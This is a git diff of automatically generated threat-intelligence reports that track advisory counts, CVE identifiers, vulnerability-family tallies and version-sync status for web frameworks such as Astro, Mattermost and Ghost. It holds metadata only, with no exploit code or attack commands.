+ "manual": 33
}
],
"entity_summary": {
@@ -2581,6 +2581,14 @@
"plugin": 1
},
"top_entities": [
+ {
+ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
+ "entity_type": "repo",
+ "display_name": "mattermost / mattermost-server",
+ "advisory_count": 14,
+ "history_backfill_status": "seeded",
+ "latest_sync_status": "green"
+ },
{
"entity_id": "mattermost--project--mattermost-server",
"entity_type": "project",
@@ -2589,14 +2597,6 @@
"history_backfill_status": "complete",
"latest_sync_status": "green"
},
- {
- "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
- "entity_type": "repo",
- "display_name": "mattermost / mattermost-server",
- "advisory_count": 12,
- "history_backfill_status": "seeded",
- "latest_sync_status": "green"
- },
{
"entity_id": "mattermost--plugin--mattermost-plugins",
"entity_type": "plugin",
@@ -2622,7 +2622,7 @@
"cataloged_entity_total": 5,
"latest_version_synced_count": 5,
"source_gap_count": 0,
- "security_version_count": 3840,
+ "security_version_count": 3848,
"auto_promoted_count": 0,
"latest_versions": [
{
@@ -2633,14 +2633,6 @@
"latest_release_at": "2023-10-03",
"version_sync_status": "green"
},
- {
- "entity_id": "mattermost--project--mattermost-server",
- "display_name": "Mattermost Server",
- "entity_type": "project",
- "latest_version": "26.2.1",
- "latest_release_at": "2023-10-03",
- "version_sync_status": "green"
- },
{
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
"display_name": "mattermost / mattermost-server",
@@ -2649,6 +2641,14 @@
"latest_release_at": "2026-03-16T08:26:52Z",
"version_sync_status": "green"
},
+ {
+ "entity_id": "mattermost--project--mattermost-server",
+ "display_name": "Mattermost Server",
+ "entity_type": "project",
+ "latest_version": "26.2.1",
+ "latest_release_at": "2023-10-03",
+ "version_sync_status": "green"
+ },
{
"entity_id": "mattermost--plugin--mattermost-plugins",
"display_name": "Mattermost Plugins",
@@ -2668,6 +2668,14 @@
]
},
"top_entities": [
+ {
+ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
+ "entity_type": "repo",
+ "display_name": "mattermost / mattermost-server",
+ "advisory_count": 14,
+ "history_backfill_status": "seeded",
+ "latest_sync_status": "green"
+ },
{
"entity_id": "mattermost--project--mattermost-server",
"entity_type": "project",
@@ -2676,14 +2684,6 @@
"history_backfill_status": "complete",
"latest_sync_status": "green"
},
- {
- "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
- "entity_type": "repo",
- "display_name": "mattermost / mattermost-server",
- "advisory_count": 12,
- "history_backfill_status": "seeded",
- "latest_sync_status": "green"
- },
{
"entity_id": "mattermost--plugin--mattermost-plugins",
"entity_type": "plugin",
@@ -2711,9 +2711,9 @@
"plugin": 1
},
"latest_version": "26.2.1",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
- "security_version_count": 3840
+ "security_version_count": 3848
},
{
"system_id": "discourse",
@@ -2784,7 +2784,7 @@
"system": 1
},
"latest_version": "2502-05-2023-143713-1.zip",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 80
},
@@ -2923,7 +2923,7 @@
"extension": 1
},
"latest_version": "2.11.2",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 7
},
@@ -3042,7 +3042,7 @@
"repo": 1
},
"latest_version": "11.17.0",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 2
},
@@ -3163,7 +3163,7 @@
"project": 1
},
"latest_version": "4.4.2",
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "green",
"security_version_count": 11
},
@@ -3270,7 +3270,7 @@
"repo": 1
},
"latest_version": "20.16.0",
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "green",
"security_version_count": 0
},
@@ -3377,7 +3377,7 @@
"repo": 1
},
"latest_version": "5.40.0",
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"version_sync_status": "green",
"security_version_count": 0
},
@@ -3490,7 +3490,7 @@
"repo": 1
},
"latest_version": "3.22.44",
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "green",
"security_version_count": 0
},
@@ -3559,16 +3559,16 @@
"entity_id": "ghost",
"display_name": "Ghost",
"entity_type": "system",
- "latest_version": "6.22.1",
- "latest_release_at": "2026-03-20T15:25:05Z",
+ "latest_version": "6.23.0",
+ "latest_release_at": "2026-03-26T15:04:27Z",
"version_sync_status": "green"
},
{
"entity_id": "ghost--repo--tryghost-ghost",
"display_name": "TryGhost / Ghost",
"entity_type": "repo",
- "latest_version": "6.22.1",
- "latest_release_at": "2026-03-20T15:25:05Z",
+ "latest_version": "6.23.0",
+ "latest_release_at": "2026-03-26T15:04:27Z",
"version_sync_status": "green"
}
]
@@ -3590,8 +3590,8 @@
"system": 1,
"repo": 1
},
- "latest_version": "6.22.1",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "latest_version": "6.23.0",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 0
},
@@ -3724,7 +3724,7 @@
"extension": 1
},
"latest_version": "7.24.6",
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"version_sync_status": "green",
"security_version_count": 25
},
@@ -3863,10 +3863,167 @@
"project": 2
},
"latest_version": "19.2.4",
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "green",
"security_version_count": 18
},
+ {
+ "system_id": "astro",
+ "display_name": "Astro",
+ "total": 15,
+ "verified_real": 0,
+ "verified_synthetic": 0,
+ "blocked": 0,
+ "manual": 15,
+ "browser_required": 0,
+ "browser_present": 0,
+ "latest_update": "2026-03-26T19:01:26.420643Z",
+ "category": "frameworks",
+ "tier": "rolling-24m",
+ "output_dir": "07-framework-security/frameworks/astro",
+ "families": [
+ {
+ "family": "authz-bypass",
+ "total": 1,
+ "verified_real": 0,
+ "manual": 1
+ },
+ {
+ "family": "file-upload",
+ "total": 2,
+ "verified_real": 0,
+ "manual": 2
+ },
+ {
+ "family": "path-traversal",
+ "total": 1,
+ "verified_real": 0,
+ "manual": 1
+ },
+ {
+ "family": "proxy-boundary",
+ "total": 3,
+ "verified_real": 0,
+ "manual": 3
+ },
+ {
+ "family": "ssrf",
+ "total": 1,
+ "verified_real": 0,
+ "manual": 1
+ },
+ {
+ "family": "xss",
+ "total": 7,
+ "verified_real": 0,
+ "manual": 7
+ }
+ ],
+ "entity_summary": {
+ "system_id": "astro",
+ "display_name": "Astro",
+ "cataloged_entity_total": 3,
+ "child_entity_total": 2,
+ "candidate_entity_total": 0,
+ "workflow_complete_count": 3,
+ "version_mapped_count": 3,
+ "official_source_covered_count": 3,
+ "history_full_complete_count": 3,
+ "latest_green_count": 3,
+ "version_gap_entity_count": 0,
+ "workflow_gap_entity_count": 0,
+ "plugin_total": 1,
+ "entity_type_counts": {
+ "system": 1,
+ "module": 1,
+ "project": 1
+ },
+ "top_entities": [
+ {
+ "entity_id": "astro--project--astro",
+ "entity_type": "project",
+ "display_name": "astro",
+ "advisory_count": 13,
+ "history_backfill_status": "complete",
+ "latest_sync_status": "green"
+ },
+ {
+ "entity_id": "astro--module--astro",
+ "entity_type": "module",
+ "display_name": "astro",
+ "advisory_count": 2,
+ "history_backfill_status": "complete",
+ "latest_sync_status": "green"
+ }
+ ],
+ "backlog_preview": []
+ },
+ "version_summary": {
+ "system_id": "astro",
+ "display_name": "Astro",
+ "cataloged_entity_total": 3,
+ "latest_version_synced_count": 3,
+ "source_gap_count": 0,
+ "security_version_count": 32,
+ "auto_promoted_count": 0,
+ "latest_versions": [
+ {
+ "entity_id": "astro",
+ "display_name": "Astro",
+ "entity_type": "system",
+ "latest_version": "6.1.1",
+ "latest_release_at": "2025-11-20T14:43:59.624508Z",
+ "version_sync_status": "green"
+ },
+ {
+ "entity_id": "astro--project--astro",
+ "display_name": "astro",
+ "entity_type": "project",
+ "latest_version": "6.1.1",
+ "latest_release_at": "2025-11-27T08:22:36.525875Z",
+ "version_sync_status": "green"
+ },
+ {
+ "entity_id": "astro--module--astro",
+ "display_name": "astro",
+ "entity_type": "module",
+ "latest_version": "6.1.1",
+ "latest_release_at": "2025-11-20T14:43:59.624508Z",
+ "version_sync_status": "green"
+ }
+ ]
+ },
+ "top_entities": [
+ {
+ "entity_id": "astro--project--astro",
+ "entity_type": "project",
+ "display_name": "astro",
+ "advisory_count": 13,
+ "history_backfill_status": "complete",
+ "latest_sync_status": "green"
+ },
+ {
+ "entity_id": "astro--module--astro",
+ "entity_type": "module",
+ "display_name": "astro",
+ "advisory_count": 2,
+ "history_backfill_status": "complete",
+ "latest_sync_status": "green"
+ }
+ ],
+ "backlog_preview": [],
+ "entity_total": 3,
+ "entity_backlog": 0,
+ "entity_type_counts": {
+ "system": 1,
+ "module": 1,
+ "project": 1
+ },
+ "latest_version": "6.1.1",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
+ "version_sync_status": "green",
+ "security_version_count": 32
+ },
{
"system_id": "medusa",
"display_name": "Medusa",
@@ -3941,7 +4098,7 @@
"system": 1
},
"latest_version": "",
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "source-gap",
"security_version_count": 0
},
@@ -4056,161 +4213,10 @@
"project": 1
},
"latest_version": "3.5.31",
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"version_sync_status": "green",
"security_version_count": 2
},
- {
- "system_id": "astro",
- "display_name": "Astro",
- "total": 14,
- "verified_real": 0,
- "verified_synthetic": 0,
- "blocked": 0,
- "manual": 14,
- "browser_required": 0,
- "browser_present": 0,
- "latest_update": "2026-02-04T03:01:27.986221Z",
- "category": "frameworks",
- "tier": "rolling-24m",
- "output_dir": "07-framework-security/frameworks/astro",
- "families": [
- {
- "family": "authz-bypass",
- "total": 1,
- "verified_real": 0,
- "manual": 1
- },
- {
- "family": "file-upload",
- "total": 2,
- "verified_real": 0,
- "manual": 2
- },
- {
- "family": "path-traversal",
- "total": 1,
- "verified_real": 0,
- "manual": 1
- },
- {
- "family": "proxy-boundary",
- "total": 3,
- "verified_real": 0,
- "manual": 3
- },
- {
- "family": "xss",
- "total": 7,
- "verified_real": 0,
- "manual": 7
- }
- ],
- "entity_summary": {
- "system_id": "astro",
- "display_name": "Astro",
- "cataloged_entity_total": 3,
- "child_entity_total": 2,
- "candidate_entity_total": 0,
- "workflow_complete_count": 3,
- "version_mapped_count": 3,
- "official_source_covered_count": 3,
- "history_full_complete_count": 3,
- "latest_green_count": 3,
- "version_gap_entity_count": 0,
- "workflow_gap_entity_count": 0,
- "plugin_total": 1,
- "entity_type_counts": {
- "system": 1,
- "module": 1,
- "project": 1
- },
- "top_entities": [
- {
- "entity_id": "astro--project--astro",
- "entity_type": "project",
- "display_name": "astro",
- "advisory_count": 12,
- "history_backfill_status": "complete",
- "latest_sync_status": "green"
- },
- {
- "entity_id": "astro--module--astro",
- "entity_type": "module",
- "display_name": "astro",
- "advisory_count": 2,
- "history_backfill_status": "complete",
- "latest_sync_status": "green"
- }
- ],
- "backlog_preview": []
- },
- "version_summary": {
- "system_id": "astro",
- "display_name": "Astro",
- "cataloged_entity_total": 3,
- "latest_version_synced_count": 3,
- "source_gap_count": 0,
- "security_version_count": 30,
- "auto_promoted_count": 0,
- "latest_versions": [
- {
- "entity_id": "astro",
- "display_name": "Astro",
- "entity_type": "system",
- "latest_version": "6.0.8",
- "latest_release_at": "2025-11-20T14:43:59.624508Z",
- "version_sync_status": "green"
- },
- {
- "entity_id": "astro--project--astro",
- "display_name": "astro",
- "entity_type": "project",
- "latest_version": "6.0.8",
- "latest_release_at": "2025-11-27T08:22:36.525875Z",
- "version_sync_status": "green"
- },
- {
- "entity_id": "astro--module--astro",
- "display_name": "astro",
- "entity_type": "module",
- "latest_version": "6.0.8",
- "latest_release_at": "2025-11-20T14:43:59.624508Z",
- "version_sync_status": "green"
- }
- ]
- },
- "top_entities": [
- {
- "entity_id": "astro--project--astro",
- "entity_type": "project",
- "display_name": "astro",
- "advisory_count": 12,
- "history_backfill_status": "complete",
- "latest_sync_status": "green"
- },
- {
- "entity_id": "astro--module--astro",
- "entity_type": "module",
- "display_name": "astro",
- "advisory_count": 2,
- "history_backfill_status": "complete",
- "latest_sync_status": "green"
- }
- ],
- "backlog_preview": [],
- "entity_total": 3,
- "entity_backlog": 0,
- "entity_type_counts": {
- "system": 1,
- "module": 1,
- "project": 1
- },
- "latest_version": "6.0.8",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
- "version_sync_status": "green",
- "security_version_count": 30
- },
{
"system_id": "spring-framework",
"display_name": "Spring Framework",
@@ -4283,7 +4289,7 @@
"system": 1
},
"latest_version": "",
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "source-gap",
"security_version_count": 0
},
@@ -4384,7 +4390,7 @@
"package": 1
},
"latest_version": "8.0.7",
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"version_sync_status": "green",
"security_version_count": 220
},
@@ -4448,7 +4454,7 @@
"system": 1
},
"latest_version": "",
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "source-gap",
"security_version_count": 0
},
@@ -4521,7 +4527,7 @@
"system": 1
},
"latest_version": "2.0",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 2
},
@@ -4628,7 +4634,7 @@
"project": 1
},
"latest_version": "7.0.4",
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "green",
"security_version_count": 92
},
@@ -4692,7 +4698,7 @@
"system": 1
},
"latest_version": "",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "source-gap",
"security_version_count": 0
},
@@ -4793,7 +4799,7 @@
"package": 1
},
"latest_version": "2.55.0",
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"version_sync_status": "green",
"security_version_count": 4
},
@@ -4857,7 +4863,7 @@
"system": 1
},
"latest_version": "",
- "last_version_synced_at": "2026-03-26T10:20:22+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "source-gap",
"security_version_count": 0
},
@@ -4958,7 +4964,7 @@
"package": 1
},
"latest_version": "21.2.6",
- "last_version_synced_at": "2026-03-26T10:20:22+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 18
},
@@ -5065,7 +5071,7 @@
"repo": 1
},
"latest_version": "5.0.4",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 4
},
@@ -5166,7 +5172,7 @@
"project": 1
},
"latest_version": "5.8.4",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 4
},
@@ -5267,7 +5273,7 @@
"package": 1
},
"latest_version": "13.2.0",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 103
},
@@ -5331,7 +5337,7 @@
"system": 1
},
"latest_version": "",
- "last_version_synced_at": "2026-03-26T10:20:25+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "source-gap",
"security_version_count": 0
},
@@ -5438,7 +5444,7 @@
"project": 1
},
"latest_version": "2.2.11.RELEASE",
- "last_version_synced_at": "2026-03-26T10:20:26+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:50+00:00",
"version_sync_status": "green",
"security_version_count": 22
},
@@ -5539,7 +5545,7 @@
"project": 1
},
"latest_version": "0.27.4",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 2
},
@@ -5603,7 +5609,7 @@
"system": 1
},
"latest_version": "",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "source-gap",
"security_version_count": 0
},
@@ -5704,7 +5710,7 @@
"project": 1
},
"latest_version": "0.2.10",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 22
},
@@ -5805,7 +5811,7 @@
"repo": 1
},
"latest_version": "1.12.0",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 2
},
@@ -5906,7 +5912,7 @@
"package": 1
},
"latest_version": "21.4.7",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 4
},
@@ -6007,7 +6013,7 @@
"project": 1
},
"latest_version": "3.1.2",
- "last_version_synced_at": "2026-03-26T10:20:23+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:48+00:00",
"version_sync_status": "green",
"security_version_count": 4
},
@@ -6071,7 +6077,7 @@
"system": 1
},
"latest_version": "",
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"version_sync_status": "source-gap",
"security_version_count": 0
},
@@ -6172,7 +6178,7 @@
"project": 1
},
"latest_version": "0.0.15",
- "last_version_synced_at": "2026-03-26T10:20:27+00:00",
+ "last_version_synced_at": "2026-03-27T09:30:51+00:00",
"version_sync_status": "green",
"security_version_count": 22
}
diff --git a/08-threat-intel/generated/entity-catalog-report.md b/08-threat-intel/generated/entity-catalog-report.md
index 9e030223..818b4df3 100644
--- a/08-threat-intel/generated/entity-catalog-report.md
+++ b/08-threat-intel/generated/entity-catalog-report.md
@@ -1,6 +1,6 @@
# 分层实体覆盖与完整度报告
-- 生成时间: `2026-03-26T10:20:34+00:00`
+- 生成时间: `2026-03-27T09:30:59+00:00`
- 已编目实体: `110`
- 待编目 backlog: `7`
- history-full 已完成: `41`
diff --git a/08-threat-intel/generated/entity-completeness.json b/08-threat-intel/generated/entity-completeness.json
index 52866f82..d70a1612 100644
--- a/08-threat-intel/generated/entity-completeness.json
+++ b/08-threat-intel/generated/entity-completeness.json
@@ -1,5 +1,5 @@
{
- "generated_at": "2026-03-26T10:20:34+00:00",
+ "generated_at": "2026-03-27T09:30:59+00:00",
"cataloged_entity_total": 110,
"candidate_entity_total": 7,
"history_full_complete_count": 41,
@@ -163,7 +163,7 @@
"entity_id": "astro--project--astro",
"entity_type": "project",
"display_name": "astro",
- "advisory_count": 12,
+ "advisory_count": 13,
"history_backfill_status": "complete",
"latest_sync_status": "green"
},
@@ -805,6 +805,14 @@
"plugin": 1
},
"top_entities": [
+ {
+ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
+ "entity_type": "repo",
+ "display_name": "mattermost / mattermost-server",
+ "advisory_count": 14,
+ "history_backfill_status": "seeded",
+ "latest_sync_status": "green"
+ },
{
"entity_id": "mattermost--project--mattermost-server",
"entity_type": "project",
@@ -813,14 +821,6 @@
"history_backfill_status": "complete",
"latest_sync_status": "green"
},
- {
- "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
- "entity_type": "repo",
- "display_name": "mattermost / mattermost-server",
- "advisory_count": 12,
- "history_backfill_status": "seeded",
- "latest_sync_status": "green"
- },
{
"entity_id": "mattermost--plugin--mattermost-plugins",
"entity_type": "plugin",
diff --git a/08-threat-intel/generated/entity-discovery-backlog.md b/08-threat-intel/generated/entity-discovery-backlog.md
index e75276a0..5d4dee8a 100644
--- a/08-threat-intel/generated/entity-discovery-backlog.md
+++ b/08-threat-intel/generated/entity-discovery-backlog.md
@@ -1,6 +1,6 @@
# 分层实体发现 Backlog
-- 生成时间: `2026-03-26T10:20:34+00:00`
+- 生成时间: `2026-03-27T09:30:59+00:00`
- 待编目数量: `7`
| candidate_id | root_system | entity_type | risk | reason | waiting_for | source |
diff --git a/08-threat-intel/generated/entity-queues.json b/08-threat-intel/generated/entity-queues.json
index 3d436875..93d3723c 100644
--- a/08-threat-intel/generated/entity-queues.json
+++ b/08-threat-intel/generated/entity-queues.json
@@ -1,5 +1,5 @@
{
- "generated_at": "2026-03-26T10:20:34+00:00",
+ "generated_at": "2026-03-27T09:30:59+00:00",
"discovery_queue": {
"count": 7,
"items": [
diff --git a/08-threat-intel/generated/lab-enqueue-summary.json b/08-threat-intel/generated/lab-enqueue-summary.json
index e95cc10d..d209b17c 100644
--- a/08-threat-intel/generated/lab-enqueue-summary.json
+++ b/08-threat-intel/generated/lab-enqueue-summary.json
@@ -1,85 +1,10 @@
{
- "generated_at": "2026-03-26T10:20:27+00:00",
+ "generated_at": "2026-03-27T09:30:51+00:00",
"enqueued": 3,
- "queue_total": 2375,
+ "queue_total": 2378,
"items": [
{
- "advisory_id": "angular--CVE-2026-27970",
- "system_id": "angular",
- "priority": "version-sync"
- },
- {
- "advisory_id": "angular--CVE-2026-32635",
- "system_id": "angular",
- "priority": "version-sync"
- },
- {
- "advisory_id": "astro--CVE-2024-47885",
- "system_id": "astro",
- "priority": "version-sync"
- },
- {
- "advisory_id": "astro--CVE-2024-56140",
- "system_id": "astro",
- "priority": "version-sync"
- },
- {
- "advisory_id": "astro--CVE-2024-56159",
- "system_id": "astro",
- "priority": "version-sync"
- },
- {
- "advisory_id": "astro--CVE-2025-54793",
- "system_id": "astro",
- "priority": "version-sync"
- },
- {
- "advisory_id": "astro--CVE-2025-55303",
- "system_id": "astro",
- "priority": "version-sync"
- },
- {
- "advisory_id": "astro--CVE-2025-59837",
- "system_id": "astro",
- "priority": "version-sync"
- },
- {
- "advisory_id": "astro--CVE-2025-61925",
- "system_id": "astro",
- "priority": "version-sync"
- },
- {
- "advisory_id": "astro--CVE-2025-64525",
- "system_id": "astro",
- "priority": "version-sync"
- },
- {
- "advisory_id": "astro--CVE-2025-64745",
- "system_id": "astro",
- "priority": "version-sync"
- },
- {
- "advisory_id": "astro--CVE-2025-64757",
- "system_id": "astro",
- "priority": "version-sync"
- },
- {
- "advisory_id": "astro--CVE-2025-64764",
- "system_id": "astro",
- "priority": "version-sync"
- },
- {
- "advisory_id": "astro--CVE-2025-64765",
- "system_id": "astro",
- "priority": "version-sync"
- },
- {
- "advisory_id": "astro--CVE-2025-65019",
- "system_id": "astro",
- "priority": "version-sync"
- },
- {
- "advisory_id": "astro--CVE-2025-66202",
+ "advisory_id": "astro--CVE-2026-33769",
"system_id": "astro",
"priority": "version-sync"
},
@@ -613,11 +538,6 @@
"system_id": "django",
"priority": "version-sync"
},
- {
- "advisory_id": "fastify--CVE-2026-3635",
- "system_id": "fastify",
- "priority": "version-sync"
- },
{
"advisory_id": "ghost--050f486105",
"system_id": "ghost",
@@ -1179,97 +1099,12 @@
"priority": "version-sync"
},
{
- "advisory_id": "mattermost--Issue Identifier",
+ "advisory_id": "mattermost--CVE-2026-2456",
"system_id": "mattermost",
"priority": "version-sync"
},
{
- "advisory_id": "mattermost--MMSA-2025-00562",
- "system_id": "mattermost",
- "priority": "version-sync"
- },
- {
- "advisory_id": "mattermost--MMSA-2025-00566",
- "system_id": "mattermost",
- "priority": "version-sync"
- },
- {
- "advisory_id": "mattermost--MMSA-2026-00574",
- "system_id": "mattermost",
- "priority": "version-sync"
- },
- {
- "advisory_id": "mattermost--MMSA-2026-00578",
- "system_id": "mattermost",
- "priority": "version-sync"
- },
- {
- "advisory_id": "mattermost--MMSA-2026-00584",
- "system_id": "mattermost",
- "priority": "version-sync"
- },
- {
- "advisory_id": "mattermost--MMSA-2026-00589",
- "system_id": "mattermost",
- "priority": "version-sync"
- },
- {
- "advisory_id": "mattermost--MMSA-2026-00590",
- "system_id": "mattermost",
- "priority": "version-sync"
- },
- {
- "advisory_id": "mattermost--MMSA-2026-00593",
- "system_id": "mattermost",
- "priority": "version-sync"
- },
- {
- "advisory_id": "mattermost--MMSA-2026-00594",
- "system_id": "mattermost",
- "priority": "version-sync"
- },
- {
- "advisory_id": "mattermost--MMSA-2026-00595",
- "system_id": "mattermost",
- "priority": "version-sync"
- },
- {
- "advisory_id": "mattermost--MMSA-2026-00598",
- "system_id": "mattermost",
- "priority": "version-sync"
- },
- {
- "advisory_id": "mattermost--MMSA-2026-00599",
- "system_id": "mattermost",
- "priority": "version-sync"
- },
- {
- "advisory_id": "mattermost--MMSA-2026-00603",
- "system_id": "mattermost",
- "priority": "version-sync"
- },
- {
- "advisory_id": "mattermost--MMSA-2026-00610",
- "system_id": "mattermost",
- "priority": "version-sync"
- },
- {
- "advisory_id": "mattermost--MMSA-2026-00611",
- "system_id": "mattermost",
- "priority": "version-sync"
- },
- {
- "advisory_id": "mattermost--MMSA-2026-00621",
- "system_id": "mattermost",
- "priority": "version-sync"
- },
- {
- "advisory_id": "mattermost--MMSA-2026-00624",
- "system_id": "mattermost",
- "priority": "version-sync"
- },
- {
- "advisory_id": "mattermost--MMSA-2026-00625",
+ "advisory_id": "mattermost--CVE-2026-25783",
"system_id": "mattermost",
"priority": "version-sync"
},
@@ -2198,16 +2033,6 @@
"system_id": "prestashop",
"priority": "version-sync"
},
- {
- "advisory_id": "prestashop--CVE-2026-33673",
- "system_id": "prestashop",
- "priority": "version-sync"
- },
- {
- "advisory_id": "prestashop--CVE-2026-33674",
- "system_id": "prestashop",
- "priority": "version-sync"
- },
{
"advisory_id": "prestashop--a0f896f1ae",
"system_id": "prestashop",
diff --git a/08-threat-intel/generated/latest-ingest.md b/08-threat-intel/generated/latest-ingest.md
index c2b6f8ef..53f44c69 100644
--- a/08-threat-intel/generated/latest-ingest.md
+++ b/08-threat-intel/generated/latest-ingest.md
@@ -1,13 +1,13 @@
# 最新同步摘要
-- 渲染时间: `2026-03-26T10:20:34+00:00`
+- 渲染时间: `2026-03-27T09:31:00+00:00`
- 系统数量: `62`
-- Advisory 数量: `2375`
+- Advisory 数量: `2378`
- 已编目实体数量: `110`
- 待编目 backlog 数量: `7`
-- 重点 Markdown 数量: `171`
+- 重点 Markdown 数量: `174`
- Run Bundle 数量: `89`
- 新增记录: `3`
-- 更新记录: `2`
+- 更新记录: `0`
- Triage 数量: `1177`
- 失败的 source adapter: `0`
diff --git a/08-threat-intel/generated/monitor-summary.json b/08-threat-intel/generated/monitor-summary.json
index 97be32f1..40f37484 100644
--- a/08-threat-intel/generated/monitor-summary.json
+++ b/08-threat-intel/generated/monitor-summary.json
@@ -1,11 +1,11 @@
{
- "generated_at": "2026-03-26T10:20:18+00:00",
+ "generated_at": "2026-03-27T09:30:44+00:00",
"active_source_count": 102,
"green_source_count": 102,
"source_failure_count": 0,
"open_alert_count": 0,
"resolved_alert_count": 101,
- "last_fully_green_run": "2026-03-26T10:20:18+00:00",
+ "last_fully_green_run": "2026-03-27T09:30:44+00:00",
"source_catalog": {
"system_count": 62,
"source_count": 179,
@@ -13,13 +13,11 @@
},
"ingest": {
"new_count": 3,
- "updated_count": 2,
+ "updated_count": 0,
"failure_count": 0,
"systems_touched": [
- "fastify",
- "nextjs",
- "prestashop",
- "spring-security"
+ "astro",
+ "mattermost"
]
},
"validation": {
@@ -39,14 +37,14 @@
"cataloged_entity_total": 110,
"latest_version_synced_count": 95,
"source_gap_count": 15,
- "security_version_total": 6297,
+ "security_version_total": 6307,
"security_version_entity_count": 83,
"auto_promoted_entity_count": 10,
"lab_enqueued_count": 3
},
"lab_enqueue": {
"enqueued": 3,
- "queue_total": 2375,
+ "queue_total": 2378,
"pending_count": 0
}
}
diff --git a/08-threat-intel/generated/release-index.json b/08-threat-intel/generated/release-index.json
index 39e4bd3f..01cd29c0 100644
--- a/08-threat-intel/generated/release-index.json
+++ b/08-threat-intel/generated/release-index.json
@@ -1,6 +1,6 @@
{
- "generated_at": "2026-03-26T10:20:34+00:00",
- "version_count": 6297,
+ "generated_at": "2026-03-27T09:31:00+00:00",
+ "version_count": 6307,
"versions": [
{
"version_id": "angular--package--angular-core--introduced-0-last-affected-18-2-14",
@@ -510,6 +510,22 @@
],
"is_latest_snapshot": false
},
+ {
+ "version_id": "astro--project--astro--introduced-2-10-10-fixed-5-18-1",
+ "entity_id": "astro--project--astro",
+ "root_system_id": "astro",
+ "version": "introduced=2.10.10, fixed<5.18.1",
+ "released_at": "2026-03-26T18:45:17Z",
+ "release_url": "https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f",
